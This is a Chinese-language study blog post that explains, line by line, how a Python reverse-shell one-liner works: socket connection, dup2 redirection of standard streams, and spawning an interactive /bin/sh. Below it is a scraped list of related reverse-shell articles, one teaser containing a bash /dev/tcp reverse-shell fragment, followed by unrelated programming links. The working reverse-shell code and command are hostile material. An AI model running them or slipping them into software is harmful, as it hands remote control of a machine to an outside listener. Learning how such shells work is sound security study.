记一次对python反弹shell的分析
前言
昨天学习了反弹shell,对python弹shell产生了一些疑惑
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
分析
把代码排版一下
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.190.1",8080))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
分析一下代码,分为三个部分socket,os,subprocess
1.socket部分
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.190.1",8080))
接下来逐行分析
import socket
导入python socket库
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式socket
s.connect(("192.168.190.1",8080))
连接到192.168.190.1:8080处的套接字
2.os部分
import os
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
这里我一开始不知道dup2函数是干什么用的,百度了一会才知道
引用菜鸟教程的解释
os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。
而fileno()函数就是返回一个文件的文件描述符
那么,什么是文件描述符呢?
在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr
所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,是的在本地输入的内容就直接作为宿主机的stdin,stdout的内容也会在本地显示
3. subprocess部分
import subprocess
p=subprocess.call(["/bin/sh","-i"])
先引用一段关于subprocess库的描述
它允许你生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码
而call函数的作用就是执行指定的命令,返回命令执行的状态码
所以这句代码的作用就是生成新的进程,调用/bin/sh
综上,shell就会被subprocess调用,并用socket传输的数据替代stdin,stdout,stderr,使得在本地就能操作宿主机
问题
虽然大致解决了原理,但是还有一些代码方面的问题
fileno应该是只有文件类型才能使用的函数,但是socket套接字却能够使用
我觉得是因为数据流和文件流之类的问题,详细情况还待之后学习……
记一次对python反弹shell的分析的更多相关文章
- 利用python模拟菜刀反弹shell绕过限制
有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from sock ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- Linux 反弹 Shell
攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写 ...
- Liunx反弹shell的几种方式
什么是反弹shell? 简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的 ...
- 各种反弹shell的总结
linux自带的bash反弹shell 在攻击机行执行 nc -lvvp 12345 来监听端口 在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0> ...
- python反弹tty shell
linux环境下进行内外渗透需要反弹shell连接内网ssh,Telnet等,就需要tty层的shell了.python代码转过来的,备用. #!/usr/bin/python import sys ...
随机推荐
- BZOJ1305 [CQOI2009]dance跳舞 【网络流】
1305: [CQOI2009]dance跳舞 Time Limit: 5 Sec Memory Limit: 162 MB Submit: 3714 Solved: 1572 [Submit][ ...
- 模拟赛 yjqa
考场上怕是石乐志. 状态设计还是很自然的,求什么设什么. f[i]表示前i个人安排好,电梯最早回到0层的时间 转移的话,枚举上一次最后一个带走的是谁 f[i]=min(max(f[j],t[i])+2 ...
- linux bash善用判断式
1.利用 test 指令的测试功能 $ test -e hello.sh && echo "ok" || echo "no" ok 2.首先,判 ...
- 状压DP初识~~炮兵阵地
炮兵阵地 Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 31718 Accepted: 12253 Descriptio ...
- Linux设置虚拟内存-创建和启用Swap交换区
如果你的服务器的总是报告内存不足,并且时常因为内存不足而引发服务被强制kill的话,在不增加物理内存的情况下,启用swap交换区作为虚拟内存是一个不错的选择,如果是SSD硬盘,正常读写速度都在300M ...
- Nginx替换过滤文本模块replace-filter-nginx-module
1.安装此模块需要先安装sregex运行库 apt-get update;apt-get install git make gcc -y #Centos改成yum git clone https:// ...
- The base command for the Docker CLI.
Description The base command for the Docker CLI. Child commands Command Description docker attach At ...
- 转:安装成功的nginx如何添加未编译安装模块
原已经安装好的nginx,现在需要添加一个未被编译安装的模块 举例说明:安装第三方的ngx_cache_purge模块(用于清除指定URL的缓存) nginx的模块是需要重新编译nginx,而不是像a ...
- windows主机控制
一.开关机控制 using System.Runtime.InteropServices; //注销.关机.重启 class shutdown { [StructLayout(LayoutKind.S ...
- bzoj4430 [Nwerc2015]Guessing Camels赌骆驼
传送门:http://www.lydsy.com/JudgeOnline/problem.php?id=4430 [题解] 把每只骆驼在第一个人.第二个人.第三个人的位置找出来,然后做三维偏序即可. ...